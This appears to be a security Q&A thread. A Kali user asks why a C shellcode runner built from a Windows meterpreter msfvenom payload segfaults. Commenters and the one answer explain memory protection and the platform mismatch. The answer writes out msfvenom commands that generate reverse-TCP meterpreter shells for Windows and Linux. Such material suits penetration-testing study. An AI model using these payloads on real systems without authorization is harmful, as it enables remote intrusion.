I generated a shell code with msfvenom

# msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=7878 -f c -o shell.c

When I compile my shell.c with gcc (version 6.3.0-16) with this options:

# gcc -o shell shell.c
# gcc -o shell shell.c -fno-stack-protector -z execstack
# gcc -o shell shell.c -fno-stack-protector -z execstack -m32

All these options above give me an error when I run ./shell: segmentation fault

Question: How can I resolve it?

My distro: 4.9.0-kali4-amd64 #1 SMP Debian 4.9.25-1kali1 (2017-05-04) x86_64 GNU/Linux

My shell.c code:

    unsigned char buf[] = 

int main()


int (*fonction) ();


(int) (*fonction) ();

  • 1
    It likely has to do with buf being in non-executable memory. You should allocate some executable memory with mmap and then copy buf into it. Or you could use mprotect to change the memory protection of a region.
    – Macil
    May 12, 2017 at 0:25
  • 2
    Are you trying to use Windows meterpreter on Linux?
    – rhodeo
    May 12, 2017 at 5:57
  • 3
    windows/meterpreter/reverse_tcp and you are running it on Linux ....
    – schroeder
    May 12, 2017 at 6:36
  • You made your stack executable, but not the data section of your executable (which is where an array literal will be). You need to allocate a stack buffer of the appropriate size and copy your exploit code there, or else use mprotect to make buf's page executable.
    – CBHacking
    May 12, 2017 at 17:38
  • @CBHacking please give a exemple of how to makedata section executable? Please everybody don't execute my code on your computer for more caution.
    – hill flame
    May 12, 2017 at 23:14

1 Answer 1


First of all, your shell.c code is right.

The problem is that you are executing an exploit generated for Windows platform, as you can see:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=7878 -f c -o shell.c

If your target is Windows, the format file output need to be executable file -f exe. I recommend using the -b '\x00' to guarantee the bad characters encoding:

Windows x86: msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=7878 -f exe -o shell.exe -b '\x00'

there a tiny change for Windows x64, just make sure that your payload path contains "x64": windows/x64/meterpreter/...

Windows x64: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=7878 -f exe -o shell.exe -b '\x00'

In a Linux platform you have to specify the architecture in the path to msfvenom:

Linux x86: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=7878 -f c -o shell.c -b '\x00'

Note that I change the format (-f) output file to .c.

Linux x64: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT=7878 -f c -o shell.c -b '\x00'

However, if your target is Linux x86... So assuming you are on the platform mentioned in your question [4.9.0-kali4-amd64 #1 SMP Debian 4.9.25-1kali1 (2017-05-04) x86_64 GNU/Linux] you will have to specify the architecture in gcc using -m32.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .